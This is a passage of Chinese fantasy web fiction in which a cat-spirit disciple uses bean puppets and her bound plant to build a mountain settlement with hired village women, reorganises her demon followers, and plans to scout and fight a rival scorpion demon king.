衔蝉好奇的伸手戳了戳豆子傀儡,问师尊:“师尊!它好小哦,真的能干活吗?” 风朔笑答:“你试试。” 猫一下子就来劲了, 她指着旁边的椅子,使唤豆子傀儡:“去给我拿把椅子来。” 豆子傀儡上下点了点玩偶似的脑袋,果真给衔蝉搬了张椅子来。 明明椅子比它大多了,但它却可以轻轻松松的扛着椅子,放到衔蝉指定的位置。 衔蝉哇了一声,仿佛打开了新世界的大门。 她又使唤小傀儡, 让它端茶倒水, 搓背揉腿。 豆子傀儡没有任何怨言,老实巴交的让干嘛就干嘛。 不过在被衔蝉使唤了七八次之后, 它就扛不住了,噗的一声又变回了一粒小小的豆子。 “啊!它又变回去了!”衔蝉捡起豆子,捏着它晃了晃。 “嗯,你灌注给它的灵力耗尽了,它就会变回原来的样子。” 风朔给爱徒解释道:“它能使用多久, 取决于你能给它注入多少灵力。” 所以接下来衔蝉需要练习的就是把灵力锤炼得更凝实一点,这样豆子傀儡的“续航”才会久一点。 衔蝉撸起袖子:“好的!我明白了!” 她拿着豆子,去旁边练习凝练灵力了。 风朔见状满意的点点头,又让风妧和阿琅挨个试试。 但她俩的进度就没有衔蝉那么快了,第一次撒豆子并没有撒成功。 风妧和阿琅有点失落,但风朔安慰道:“你们入门得晚,基础还没打好,别着急,慢慢来。” 衔蝉之所以学得又快又好,那是因为她在悬崖下的时候就已经积累了很多学习经验了。 而且她的天资也是罕见的高,是个妥妥的天才猫,学习进度比她慢,并不丢人。 最重要的是,如果不跟衔蝉比的话,风妧和阿琅的进度已经快得惊人了。 要是放在外面,她俩的进步速度也能羡慕哭一大群普通天才呢。 反正风朔教她们教得很有成就感,也很欣慰她们学得这样好。 风妧和阿琅听完安慰感觉好多了,信心也重新回来了,也拿了豆子,去一边练习。 而衔蝉果然没让风朔的失望,她只自己琢磨了一会,就学会了凝练灵力,能让豆子傀儡精神百倍的干很久的活了。 她喜滋滋的控制着小傀儡,让它出去跟大家一起搬砖,烧瓦。 她还无师自通的学会了同时召唤好几个豆子傀儡。 这下她一个猫就可以掰成好几个使了。 当然是在灵力充裕的情况下。 学会了新技能,衔蝉非常高兴,她感受了一下,发现自己现在的灵力似乎还有富余,便又开始琢磨另一门课程了。 她的藿麻。 风朔告诉她,本命灵植就得要多蕴养,多用,这样它才能跟猫融合得更好。 衔蝉记住师尊的教导,麻溜的把藿麻召唤出来,然后控制着它,让它根据自己的心意活动。 衔蝉把手按在地上,藿麻就可以从土里钻出来,把脚下的土壤拱出一个又深又大的窟窿。 这样打地基或者挖坑的工作就可以让藿麻来干了。 看着长得又高又密的藿麻,猫又来了灵感。 她一会让藿麻变软变长,再把枝条拧在一起,组成一个铲斗的模样,把它当挖掘机使; 一会又让藿麻把枝条软化了缠成大框子,用来搬运石块土块; 一会又把藿麻当绳子用,让它去捆木头,再把捆好的木头滚到工地上去。 猫很快就把自己的本命灵植玩出了花。 她用极短的时间就掌握了本命灵植的各种用法,并且马上就学以致用,把藿麻用得贼6。 并且不需要风朔提醒,猫就屁颠颠的把藿麻种到了三个山头上,自己同时遥控着它们干活。 她自己站在东山山顶,看上去像是在大石头上打坐,但其实是在不停的吸收灵力并远程操控豆子傀儡和藿麻呢。 她就像一个中央控制器,一个猫就能同时控制三座山上的傀儡和藿麻干不同的活。 这可大大的提升了山上的工程进度。 人类们看着满地乱跑的豆子傀儡和会自己动的藿麻,啧啧称奇。 不过她们手上也没闲着。 大家跟豆子傀儡和藿麻配合着,干活干得飞快。 在大家的共同努力下,山上是一天一个样。 在短短几天后,衔蝉规划出来的各种建筑群就已经有个大概的雏形了。 一排一排的砖瓦房的地基打得整整齐齐,就差木料上梁铺瓦了。 三座山头之间的桥梁底座也盖起来了,只需要再把桥面盖上去就可以完工。 山里的路也修起来了,铺着青石板的山路不算太宽,但走起来比以前的泥巴路方便多了。 看着这样的工程进度,衔蝉高兴极了。 猫大王站在大石头上俯瞰自己的江山,然后大手一挥,决定给大家放个假休息一天! “苗大娘,这些天你们也辛苦了,这是你们这周的工钱,你们先收着吧。” “明天咱放假一天,你们要是放心不下家里的话,也可以回家去看看。” 要劳逸结合,大家的干劲才会更足嘛。 人类们没想到活还没干完就能提前拿到一部分工钱,还能放一天的假! 她们也很高兴,连声跟衔蝉道谢,然后果真大多都决定下山回家看看。 毕竟她们在山里干好几天活没回家了,也不知道家里怎么样了? 人类们跟自己相熟的小妖打了个招呼,再背上背篓,背篓里装满了小妖朋友送的土特产,收获满满的下山去了。 苗大娘回头看了一眼还没修完的房屋,紧了紧背篓背带,跟同伴们一起往山下走。 “咱们修的这个路真好呀,又平整又好走!” “可不是么!这青石板都是我跟桃子一起在后山劈出来的呢!我们劈的石块整齐吧!” “嗐!这还是我们跟衔蝉大王的藿麻一起铺的呢,我们铺得平吧?” “哎,大家都干得好!” “没错,都好!最好的还是衔蝉大王,她竟肯雇佣我们,还给咱们这么高的工钱,还给放假呢!” “可不,山下的人都更愿意雇男人,咱们也有力气有本事,可就是找不着活干!” “还是衔蝉大王好,她给了咱们活干,还把咱们当个人看。” “是呢,我看衔蝉大王可比山下的地主大方多了,她不打人不骂人,工钱给得多,还给咱放假。” “山上的小妖们也都是好的,比山下那些恨人有笑人无的势利眼好多了!” “跟她们相处真舒心啊,大家也不吵架,不争高下,齐心协力的,这活都干得舒坦!” “是咧!等我回家去看看,赶明儿还回来继续给衔蝉大王干活!” “哈哈!这趟我们回家,可得把有些人羡慕死喽!你看,我背篓里还有胡图送给我的兔子毛,我拿回去给我姑娘做个小褥子!” “我也有我也有!我跟桃子玩得好,她给我送了这么老些鲜灵的大桃儿呢!” “板板送了我一把大青叶!这煮水喝能治风寒呢!” “我还有三参送我的参须!哎哟这可是好东西,三参真是大方呀。” 大家说说笑笑的,一说到山上的活计和朋友,话匣子就关不上了。 一起走到山下,大家又互相告别,各回各家。 苗大娘背着一背篓山货,健步如飞的回家。 她刚到家门口,就见邻居从院子里冒出个头,惊讶的问:“苗大娘,你回来啦?!” 邻居婶子用奇异的眼光打量着苗大娘:“没缺胳膊也没少腿儿,气色还这么好!” “看来那些男人说的也不是真的嘛!你这不好好的?” 苗大娘好奇:“他们都说什么了?” 邻居婶子翻个白眼:“能说什么,说你们被妖精骗上山,好几天不见回来,一定是被吃掉了!” 虽然世人总用“长舌妇”骂人,但实际上,爱传小话造谣言的还是男的干得多。 这不苗大娘她们才上山几天,全镇子都在传她们已经死了! 那些人还说得有鼻子有眼的,说苗大娘她们几天不见回来,怕是连骨头都被妖精敲出骨髓吃干净了! 他们说得笃定,还真让不少人跟着恐慌了起来。 还有人信誓旦旦的说,以后镇子上也不安全了!风大人都不站他们这边了!平安镇要完蛋了! 苗大娘一听,气笑了:“什么人啊这是!我们好好的,他才被妖精吃了呢!” “我跟你说,山上的妖好得很,衔蝉大王也好得很,人家跟咱们一样自己种粮食养牲畜吃,才不吃人呢!” “这些天咱们在山上干活,吃得好睡得好,比在山下找活干舒服多了!” 在山下,她们只能找到一些帮忙洗衣服之类的廉价活计,拼死拼活也赚不了几个铜板儿。 但在山上,她们也能像男人一样出力气干大活计,赚大钱。 而且衔蝉又大方,这几天的工钱都如数给她们结了,还额外给了她们几百钱的“奖金”。 这样好的雇主上哪找去! 苗大娘这么一说,邻居婶子都有些不敢相信。 “真的假的?山上真有这么好呀?” 苗大娘没再多说什么,而是从背篓里摸出一颗桃子递给邻居婶子:“你尝尝,这是我在山里认识的桃树朋友送我的桃。” 邻居婶子拿着那个红通通的大桃子,再看一眼气色大好的苗大娘,心里顿时有了计较。 看来,那些男人传的都是谣言,不可信。 邻居婶子还在暗自寻思呢,苗大娘已经推开了自家院门,头也不回的走了。 “呀,娘!你还活着?你回来啦?!” 一个年轻女人红着眼眶迎上来,拉着苗大娘上上下下看了好一会。 “你真是我娘?不是妖精变的?” 镇上都说那些被妖精骗走的女人已经被吃掉了,她这几天又不见母亲回来,简直快要担心死了。 苗大娘拍开女儿的手:“找打!连你娘都不认得了!” 她放下背篓,又摸出一把碎银子递给女儿。 “这是我在山上给衔蝉大王干活的工钱,你收着。” “还有这些山货,都是山里朋友送的,你拿去收拾收拾,囤着吃用。” “赶明儿我还要回山上呢,这些东西你都收好。” 苗大娘拉着女儿,跟她说了很多话,又叮嘱她,可别信那些男人造谣的话,她们在山上好着呢! 苗大娘的女儿拿着银子和山货,顿时对山上的一切起了好奇心。 “娘,那些妖精,真的有那么好吗?明天我能不能跟你一起去?我也能干活的。” 她还是放心不下母亲,想亲眼去看看。 苗大娘想了想:“那你等我回去问问衔蝉大王再说。” 要是可以的话,她和女儿一起在山上干活也挺好的。 她中年丧偶,家里也不富裕,母子两个相依为命,日子也过得紧巴。 如果能带着女儿一起在山上干活,不仅可以省了一笔在家吃用的钱,还能再赚不少银子。 而且苗大娘觉得,山里的小妖们都很淳朴,比山下的某些男人好多了。 让女儿跟小妖们一起相处,她都不需要担心什么的。 小妖们都是女妖,不会欺辱她女儿,也不会像男人一样在背地里对年轻女人评头论足或者传什么谣言。 她们只会拉着新认识的朋友一起干活,下工了再一起玩耍。 所以思来想去,苗大娘决定回去问问衔蝉大王,还招不招更多的工人? 或者她女儿不要工钱,光跟她一起上山干活就是了,反正衔蝉大王给她的是双倍工钱呢。 母子俩都在山上,总比把女儿一个人留在有很多长舌夫的山下安全多了。 “真的吗?娘,那你明天一定记得问问衔蝉大王还收不收人啊,我也会干很多活的!” 苗大娘笑呵呵的答应了女儿。 她在家里待了一天,第二天一早,她就迫不及待的背上背篓重新上山去了。 她到山脚的时候,跟她一起的工人们也陆续回来了。 大家脸上都喜气洋洋的,谁也没把山下那些谣言放在心上。 她们都好端端的回去了,这比什么谣言都更可信。 山脚下还有一队相熟的小妖在等着她们。 “苗大娘!你们回来啦!走走走,我们带你们上山!” “你们跟紧一点喔,山上有阵法,不要掉队了呀。” “好嘞,三参,你们一直在等我们吗?哎,真不好意思,你们等很久了吧?” 人类们和小妖们熟稔的聊着天,热热闹闹的上了山。 到了山上,大家又熟门熟路的一起吃大锅饭,再继续开工干活。 干完一天的活,又有好些工人跑来问衔蝉,还招不招更多的工人呀? 她们家也有女儿/亲戚/朋友想来山上一起干活呢! 衔蝉托着下巴思考了一会,问清想来的工人也都是女人后,果断同意了扩大招工规模。 人多力量大,早点干完早点收工! 人类们高兴得不得了,干脆连夜下山去接人,山上的工人数量一下子翻了个倍。 跟衔蝉预料的一样,人多了,干活的速度就更快了。 这些女人平时在山下就没少干活,到了山上,大家都很珍惜这个工作机会,不管分配什么活,她们都干得又快又好。 在她们和小妖们的共同努力下,只花了半个多月,山上就焕然一新。 原本遍布荆棘的山路被清理干净,一条条青石板铺成的小路像蜿蜒的彩带一样散落在山间。 一排排整齐的砖瓦房拔地而起,按照衔蝉的规划,错落有致的坐落在各个位置。 衔蝉想要的宿舍,食堂,粮草库,武器库,广场全都有了。 还有原本各自分开的山头,也被几座石桥连接在了一起,以后在各个山头往返就再也不需要爬山了。 除了这些,山上的田地和养殖场也扩大了不少。 衔蝉趁着这次机会,在山上来了个大开荒。 现在山上水田,旱田,菜地,梯田,还有养鸡鸭的笼舍,养鱼的鱼汤,养牛羊的棚子,全都齐活了。 跟之前零零散散的竹屋和菜地比起来,现在的山上,是真的有几分家大业大的味道了。 衔蝉站在新建的石桥上,只觉得豪气顿生。 看!这就是朕打下的江山! 猫非常自豪,也非常得意,尾巴竖了一天都没放下来。 她竖着尾巴,招呼大家给工人们办了个竣工酒席。 酒席上的食材全部来自山上,甚至绝大部分粮食果蔬都是她们这段时间用灵力肥料催生出来的。 这是一顿妥妥的灵力大餐。 人类们这段时间都被这样好的食物养得精气神十足,个个都脸色红润带笑。 酒席也是大家一起做的,大家热热闹闹的吃了一顿席。 “这也算是乔迁宴了吧,咱在这里给衔蝉大王和大家道喜了!祝大家以后越过越好!” 苗大娘举着杯子以茶代酒,作为工人里的代表敬了衔蝉一杯。 衔蝉也举起杯子敬大家:“这段时间也有劳大家了!咱们的工程完工得这么快,都是大家的功劳!” 猫大王一高兴,就决定给大家涨工钱。 不论是人类工人还是山上的小妖,全都多发一个月的工钱! 这下整个山上都沸腾了,大家的欢呼声从这个山头传到那个山头,响彻三座山。 一顿热闹的大席吃完,就到了分别的时间了。 工人们依依不舍的跟小妖朋友们道别,还纷纷表示,要是下次山上有什么活计,衔蝉大王只管来找她们! 她们什么苦活累活都愿意干! 衔蝉很认真点头:“好的!既然大家都这么说了,那以后只要山上还有活要干,我都去找你们!” 经过这段时间的相处,她也对这些淳朴的工人很有好感。 她们干活麻利,又不勾心斗角,跟山上的大家也相处得很好。 所以衔蝉觉得,以后有事情再找她们就对了! 两边都对彼此很满意,于是就此说好。 小妖们热情的把工人们送下山,然后又蹦蹦跳跳的回山上。 一路上看到变化极大的山路和山间的各个建筑田地,所有小妖心里都高兴极了。 因为大王说了,今天就给大家分房子! 小妖们不懂什么叫宿舍,但大家都一致觉得大王太大方啦! 别的妖洞里,小妖们都只能挤着睡角落,但她们不一样,她们以后都有大房子住! 那一排排的敞亮瓦房,其中就有大王专门给她们规划的宿舍呢! 而且还不止宿舍,以后大家还有食堂,有广场,有大大的粮仓 光是想想就觉得生活充满了盼头! 小妖们雀跃不已,对衔蝉大王的崇拜和敬仰又上了一层楼。 现在的生活,是她们以前想都不敢想的。 而这一切都是大王给她们的! 小妖们越想越崇拜大王,回到山上就把衔蝉给簇拥起来了。 “大王,大王,以后咱们也有房子住,有肉菜吃,有武器使了!大王万岁!” 衔蝉在大家的欢呼声中尾巴竖得笔直,但脸上却很云淡风轻。 猫一挥手:“接下来大家继续努力!我们要继续打更多的地盘,建更多房子,开更多的荒地,让日子过得更红火!” 她还要招更多的妖兵妖将,把东坡子洞做大做强! 衔蝉的宏图大志让小妖们都跟着热血沸腾了起来,浑身都充满了干劲! 趁着这个机会,衔蝉又把山上的妖手重新整编了一下。 小狐狸的伤已经痊愈了,衔蝉就给她专门拨了个办公室,让她带着一队脑子最好使的小妖,专门负责一切跟文字有关的工作。 三参照旧做物流先锋,因为以后需要下山的时候还挺多。 白三姑也还是山上的后勤大总管,三巨头的职务几乎没变。 但也有变动的。 风妧正式“登基”做了二大王,并且由她带领所有战斗小队,以后专管操练武力,好守住山上的家业。 风朔这个太上皇也欣然领了个总兵兼职,以后战斗小队和风妧都归她管。 还有胡图也又升了官,衔蝉让她带领一队斥候小妖,日后专门做情报工作。 桃子和板板等老成员也各有升迁,山上的队伍一下子变得井井有条起来。 但猫觉得这还不够。 “现在咱们的妖手还不够多!地也还不够大!” 衔蝉慷慨激昂:“大家有没有信心,再打下更多的地盘,招更多的手下,修更多的房子?!” 小妖们齐声山呼:“有!全听大王号令!” 衔蝉:“好!那么从今天开始,咱们的重点就是耕和战!” 猫大声问大家:“种地和战斗,咱们两手都要抓!大家有没有信心两手都能抓好?!” 所有小妖:“有!!大王号令,无有不从!”《 》 65-70 第66章 给大家发了一顿鸡汤泡饼后, 东坡子洞里所有成员的积极性都被大大的调动起来了。 大家按照衔蝉大王的安排,各司其职。 现在山上的妖都各自有了自己的正式岗位,不再像先前那样什么活计都大家一起混着做。 衔蝉让种地的专门负责种地, 后勤的专门负责后勤, 战斗的专门负责战斗,并且还针对不同的工种给大家做了相应的操练。 负责种地的小妖, 衔蝉和东坡子洞的第一批开荒元姥专门给她们开了种田小课堂。 小课堂上负责讲课的都是最有种田经验,种地种的最好的成员。 衔蝉自己也时常去客串讲师, 把她自己会的各种农事对大家倾囊相授。 她还设置了一个奖励制度,要是谁讲课讲得好或者学习学得好,直接或者间接的提升了地里的产量,就能获得一笔丰厚的奖赏。 这奖赏还可以自行选择,是要银子还是灵力大餐, 或者更好的房子武器之类的物质奖励。 有了这个制度,山上所有农事妖都非常乐于琢磨提升亩产,并且一旦琢磨出来就会很积极的跟大家分享这个知识。 这让山上的田地出产量越来越高,收获间隔也越来越小,粮仓越来越满。 大家为了获得种田小能手的奖励,在地里干活可积极了。 还有养殖那边, 衔蝉也开设了一样的课堂和奖励制度, 鼓励大家钻研养殖技术。 这样山上就逐渐建立起了一支专业的农业大队,东坡子洞里的日常口粮不仅可以做到自给自足, 还能有不少富余。 富余的部分,衔蝉就让负责后勤的队伍炮制成干货再统计入库。 粮仓很快就被堆满,但衔蝉这次却没打算把这些物资拿下山去卖了换银子。 她另有打算。 她打算留着这些物资,去招更多的新成员! 而这次的新成员,衔蝉打算主要招揽战斗人员, 补充战斗小队的数量。 为此,她不仅提前准备了大批招揽物资,还专门把新修的小广场划给战斗小队使用。 风朔每天闲来无事,就会在小广场上操练战斗小队的小妖们。 她虽然双腿还没好,但她的本事放在那,光是用一只手都能把小妖们练得嗷嗷叫。 于是很快小妖们就在太上皇的操练下战斗力直线上升。 她们从刚开始的只会胡乱挥舞刀剑一拥而上,渐渐学会了如何与队友配合,如何正确的使用冷兵器。 有些天资好的小妖还额外得到了风朔的指点,修炼进度也上来了,不再只能一味地依靠武器和外物。 但大部分小妖在修炼到一定境界之前,都还是只能靠武器打出伤害。 不过这暂时也够用了。 一支装备齐全的小妖战斗队,在实战中也可以合力打垮比自己法力更高的对手。 所以武器还是很有必要的。 衔蝉跟风妧阿琅一起扒拉着算盘,算再装备几支重装战斗队需要花多少银子。 “除了要买更多更好的刀剑,还要有弓箭,盔甲这可不好搞。” 风妧挠挠头:“刀剑就罢了,弓箭盔甲可不是一般的铁匠能做的。” 至少平安镇上就没有会做弓箭盔甲的铁匠,得去更大的城市里才能找到会做这些的铁匠。 而且还得花大价钱。 阿琅拨弄了一下算盘:“我们现在剩下的银子应该还够,但也不能坐吃山空。” 小狐狸抬起头:“这一笔花销不小,我们之后必须得找到一个稳定的进账来源。” “这个我已经想到了!”衔蝉一拍大腿:“我们去卖灵植吧!” 跟普通的山货只能薄利多销不一样,灵植是可以卖出大价钱的。 那些降妖师们和大城市里的富裕凡人们都不差钱,为了买灵植,他们是愿意出很高的价钱的。 只不过在外面,灵植是很难培育的。 那些专卖灵植的家族大多都有自己的培育秘法,但即便如此,灵植的产量依然不高。 哪怕是在中州的中心城池天都,高品质的灵植也是可遇不可求的好东西。 “所以我觉得卖灵植很有赚头!你们觉得呢?”猫看向两个师妹。 风妧和阿琅使劲点头:“我们也觉得可以!” “但是这个生意可不好做哦。”旁听的风朔插嘴说道。 “诶?”衔蝉扭头问师尊:“为什么呀?” 风朔吹了吹茶杯上的雾气,慢悠悠的告诉猫,想做灵植生意,首先得有专门的种植园。 不然没有稳定的产量,这生意就做不大。 其次还得有一支专业程度和能打程度都在线的商队,要能在最短的时间内把灵植送到客户手里才行。 因为摘下来的灵植放久了,灵气也会逐渐流失的。 所以这支负责送货的商队速度一定要快,还一定要足够能打。 不然半路被人抢了灵植都没地方哭去。 最后除了商队之外,东坡子洞本身的战斗力也必须拉满,否则根本护不住自己的产业。 灵植生意可是个会让很多人眼红的买卖,要是没点本事,那就等着被人摘桃子吧。 而且在山下,灵植生意几乎都把持在几个大家族手里,想跟他们竞争,那难度不是一般的大。 这个难度不仅仅在于能把灵植卖出去,更在于如何在几大灵植培植家族手里保住自己的灵植园。 “唔那我们先琢磨琢磨,从普通品质的灵植开始卖起?”猫提议道。 等她先赚点钱养兵,猥琐发育一番再去跟那些专业的大家族碰一碰,从他们嘴里抢一口肉吃! 风朔点头:“这倒是可以。” 风妧又举手提议:“商队也可以缓缓,咱先不弄商队,就先在附近卖点普通灵植,积攒点口碑吧。” “比如就在风府开个铺子试试?” 这样就在平安镇附近先试试水,既不会引起那些大家族的注意,又暂时用不到商队。 衔蝉一拍大腿:“这个办法可以哎!” 猫目光炯炯的看向师尊。 风朔笑着点头:“行,你们年轻人去折腾吧,反正以后风府也是要你们来继承的。” 她这么一说,师姐妹三个就欢呼了一声。 “好!那我们接下来的计划就确定了!” 猫合上小本本:“招新成员,打新地盘,买新武器,修新灵植园,开新灵植铺子!” 风妧和阿琅大力鼓掌:“好!” 短期计划定好,接下来就是执行了。 衔蝉先让胡图来了一趟。 “胡图,你带队去附近的山头看看,有没有什么软柿子是咱们现在可以捏一捏的!” “要是打听到有咱们现在打得过的,你就回来告诉我,咱去打新地盘!” “当然,如果有不需要打就能直接说服对面来入伙咱们那就更好啦!” 胡图耳朵竖起:“得令!” 她蹦蹦跳跳的跑去集结斥候小队了。 衔蝉又找来白三姑。 “三姑,接下来咱们可能要出门打一架,再招新成员回来,你们后勤队准备一下哦。” 白三姑点头:“我们这边都没问题,随时可以去接新成员,大王请放心。” 衔蝉:“嗯呐!以后我们还要新修一个灵植园,再在山下开一个灵植铺子,这都需要人或者妖。” “三姑,以后物资和人事调动的事情就拜托你了哦。” 白三姑郑重的点头接下了这个任务。 她离开的时候,衔蝉又让她把三参叫来。 在猫的计划里,三参可以做未来商队的队长,在商队还没建立之前,她也可以做灵植铺子的店长。 因为三参性格开朗外向,又喜欢热闹,很适合做这个工作。 而且她本来就是山上的物流先锋,让她从铺子到商队开始晋升也很专业对口。 果然,三参一听未来有如此重任要交给她,一下子就跳起来了。 “大王!交给我!你放心!”她挺直腰板:“不管是店长还是队长,我都保证完成任务!” 衔蝉拍拍她的肩膀:“我相信你!” 然后再叫来桃子和板板,让她们带领的农事小队做好新的种植园的开荒准备。 最后猫跟风妧阿琅一起揣着银票下山,给大家买新武器去了。 但这一次,她们遇到了一点困难。 “什么?要半年才能交货?!”衔蝉站在铁匠铺里,大吃一惊。 铁匠一边打铁一边回答:“是啊,客官这次要订的刀剑太多,我们起码要做半年才能做完呢。” 而且这还只是刀剑。 弓箭盔甲都还没影,因为平安镇上的铁匠压根不会做这些。 衔蝉皱眉:“半年这也太久了,我们加钱,能不能加急?” 要等半年的话,黄花菜都凉了呀! 她最迟半个月之内就要带着大家去干架了! 铁匠放下手里的铁胚,摊手:“客官,不是我们不肯答应你,是我们铺子人手就这么点,您加钱我们也快不了呀。” 衔蝉顿时麻爪了。 风妧和阿琅也皱起了眉头。 师姐妹三个退出铁匠铺,在门外嘀咕起来。 “要不,咱们再去附近几个镇子问一下,多找几家铺子一起订货?” “不行,也来不及,而且现在除了平安镇之外,咱们都不太方便去的。” “是啊,我听说外面有些地方人和妖水火不相容,降妖师们也对妖一杆子打死,不分青红皂白的,不好不好。” “万一要是不小心引起外面那些降妖师的注意,那咱们说不定就要中道崩殂了。” “那怎么办?” 三人面面相觑。 但一时之间都没什么好办法。 无奈之下,她们只好垂头丧气的先回山上从长计议。 没想到刚回山上,就跟打听消息回来的胡图碰了个正着。 并且胡图还带回来一个好消息,一个坏消息。 “大王大王!我出去打听了一圈,发现咱东坡子洞的名声已经传出去啦!” 胡图告诉衔蝉,自从蛮牛败走之后,东坡子洞就在山里远近闻名了。 大家都听说了有这样一个快速崛起的强大妖洞,并且大王还不拿小妖下酒,洞里还富裕得流油,粮仓都堆满了好几排。 于是乎就有好些小妖十分心动,想来投奔东坡子洞。 “大王,您不知道,这附近好几个峰头上都在传您的威名呐!” 说到这个好消息的时候,胡图与有荣焉:“我在好几个山头上都听到有小妖在偷偷商量,说要来投奔咱们!” 衔蝉:“!” 猫一下子就不困了,让胡图展开说说。 她可不是想听马屁啊,她就是单纯的想多了解一下情况。 外面的妖都是怎么说她的?是怎么夸她们东坡子洞的? 衔蝉悄悄竖起了尾巴。 可胡图却话音一转,语气瞬间失落:“但是!那些小妖都来不了了!” 这就是坏消息了。 衔蝉一拍爪:“怎么回事!” 胡图:“唉!这说来话长,长话短说,就是咱隔壁又来了一个新的蝎妖王!” “那个蝎妖王残暴得很,不仅霸占了咱附近的几座山头,还抓了那几座山上的小妖去做苦力!” 所以原本想来投奔衔蝉的小妖们都被抓走了。 衔蝉顿时就不高兴了,但还有更让猫生气的事情在后头! “我听说,那蝎妖王之所以抓那么多妖,是想让她们去山上采石头!” “咱隔壁有个柿子山,就是先前蛮牛霸占的山头,那山里有一种奇怪的石头。” “听说那种石头用火烧化了就能变成铁,再打成刀剑!” “而蝎妖王到处抓妖打刀剑,为的就是想来打咱们东坡子洞!” “他听说咱们洞里富裕,就想来抢咱们!” 衔蝉:“!!” 猫一下子又生气又高兴。 生气的是那个蝎妖王居然敢打她们洞里的主意,高兴的是,原来柿子山上有铁矿啊! 而且听胡图这么一说,那蝎子妖手下居然还有会打铁的妖! 也就是说,蝎子妖已经掌握了打铁技术,如果能把他的山头都抢过来,那衔蝉想要的刀剑就不需要下山去买了! 直接抢了那个蝎子妖,就有现成的武器和铁矿,铁匠! 衔蝉顿时蠢蠢欲动。 然而胡图又继续说道:“可恨那蝎妖王,没日没夜的叫小妖们去打铁做苦力,竟叫他养出了一支凶悍的妖兵大军!” 蝎妖王手下甚至还有好几个妖将,各自统领着好几百的妖兵! 不算他们洞里的其余妖手,光是妖兵妖将,加起来就有近千的数量! 这可真是个难啃的骨头,不是能轻易打下来的软柿子。 衔蝉陷入沉思。 东坡子洞里里的战斗成员,满打满算也不到一百。 这要如何跟那蝎子妖打? 但不打也不行。 因为蝎子妖都已经在备战了,一旦他准备好了,东坡子洞将会面临灭顶之灾! 所以这一场硬仗不仅一定要打,还要尽快打! 要赶在蝎子妖准备好大军压境之前,就先把他给抢了! 那么问题又来了,她们东坡子洞要怎样才能以少胜多,打赢这场事关生死存亡的硬仗呢? 衔蝉首先就想到了阵法。 她们山上是有迷踪阵的,如果没有通行口诀的话,一般人或者妖根本进不来。 这个进不来不是指上不了山,而是一踏进阵法就会迷路,在山里打转。 在平时,这个阵法可以拦住绝大多数没被邀请的人和妖。 但它又有两个致命的缺点。 第一是迷踪阵本身不具备攻击功能,进入阵法的坏人坏妖不会立刻毙命或者被弹出去,只能被迷路缓慢的耗死。 第二就更要命了,迷踪阵是可以被暴力破阵的。 或者说,绝大多数阵法都可以被暴力破开。 只要有足够的蛮力或者绝对的碾压数量,什么阵法都扛不住。 而蝎子妖那边,起码就有上千能冲锋的妖兵妖将。 要按这个数量来算,他们光是靠脚踩,都能踏平迷踪阵。 所以阵法并不能在这场硬仗中起到决定性作用,顶多用它来打一些辅助。 猫眉头紧皱。 风妧和小狐狸也一脸凝重。 师姐妹三个沉思许久后,果断跑去摇人找师长了。 但风朔却表示,这是一次检验她们修炼成果的好机会。 “我不是不能出手,但我更希望,你们能靠自己的力量,渡过这次的难关。” 风朔淡然道:“为师可以做你们的后盾,但我不能时时刻刻把你们护在羽翼下。” “你们得尽快学会自己飞翔。” 所以这一次,风朔打算历练历练衔蝉师姐妹仨。 “不过也别太担心,山上这边我会护着的,你们只需要想办法去对付蝎妖王就行。” 只要衔蝉她们别把战场打到自家地盘上,风朔就能护着东坡子洞的地盘。 但前提是,衔蝉能把蝎妖王拖住,让他只能在他的主场与东坡子洞开战。 衔蝉与风妧阿琅对视一眼,师姐妹三个开始琢磨要怎么打这场仗。 风妧提议道:“擒贼先擒王,要不我们先去把蝎妖王偷袭弄死算了!” 衔蝉直摇头:“不行,胡图说了,蝎子妖手下众多,咱们不好靠近。” 而且他本身也是个法力高强的大妖,哪怕是偷袭,也不是什么好对付的小角色。 小狐狸想了想:“那咱们先打听打听,他有什么弱点没有?” 衔蝉:“这倒是可以,等会让胡图的斥候小队再去一趟。” “但光是知道蝎子妖的弱点还不够,他手下还有上千妖兵呢。” 比起蝎子妖,衔蝉觉得蝎子妖手下的妖兵大军更棘手。 “胡图不是打听了吗,他手下的妖兵可不是散兵游勇,而是有妖将统领的。” “就算咱们把蝎子妖偷袭弄死了,他手下那几个妖将也照样能集结起来攻打咱们洞里。” 风妧和阿琅一听,也觉得有道理。 “那如果咱们能同时解决掉蝎妖王和他手下的妖将呢?” “这当然好,但问题是咱们要怎么才能同时解决掉一个妖王和好几个妖将?” 衔蝉指着自己的鼻子:“根据胡图的消息推断,我顶多只能跟他们那边的一个妖将打得有来有回。” 而她已经算是东坡子洞里的顶尖战斗力了。 风妧和阿琅加起来,应该也能对付一个妖将。 但剩下的呢? 那个最厉害蝎妖王呢? 风妧和阿琅顿时陷入沉默。 对哦。 这可咋整。 师姐妹三个你看我我看你,眼神里都有一丝茫然。 但却没有退缩。 风朔默不作声的端着茶杯,看着三个小辈嘀嘀咕咕的商量着要如何打赢这场仗,神色泰然。 其实她出手的话,这都不算事。 但就像她说的那样,衔蝉她们师姐妹都需要历练。 风朔可不想教出几个空有理论知识,却不会实战的花架子。 哪怕是天才,也是需要反复锤炼的。 所以风朔默默估算了一下情况,然后愉快的决定放手让衔蝉师姐妹三个自己努力。 不到最危急的时刻,她是不会出手的 衔蝉和风妧阿琅商量了半天,也没能商量出什么好办法。 “主要是我们对那个蝎子妖和他的妖将了解得还不够多!” 衔蝉变回原型跳到桌上拍爪:“不如这样!我们也亲自去打探打探他们的底细好了!” “等摸清楚情况了,咱们再回来商量战术!” 正所谓知己知彼才能百战百胜,猫决定先潜入敌营! 风妧和小狐狸想了想,把手和爪子都搭到了衔蝉的猫爪上:“好!那我们就先去潜伏!” 小狐狸举爪:“我用原型过去,装作路过的妖,让蝎妖王的手下把我抓回去!” “然后我就可以混在敌营里打听消息了!” 衔蝉眼睛一亮:“好主意!我也可以跟阿琅一起被抓走!” 风妧:“我不行,我是人,没有原型,不太好蒙混过去。” 但她也有办法。 她有现成的夜行衣和罗盘,还有没用完的符箓和镇魂铃,完全可以悄悄摸摸的走另一条路。 “我们兵分三路,分头去打探消息!” “好!那我们今晚就行动!” 师姐妹三个商议完毕,决定今夜就趁着夜色出发。 “带上这个。”风朔叫住了她们,递给她们一沓空白的符纸。 “师尊,这是什么?”衔蝉好奇的拨弄了一下空白符纸的边缘。 “是我这些天做的符纸,把它叠成纸鹤,就可以给你们彼此之间传信。” 毕竟她只是想历练徒儿们,不是想让她们去送死,所以装备还是要给的。 衔蝉风妧阿琅大喜,有了这个,她们的行动就会更方便的! 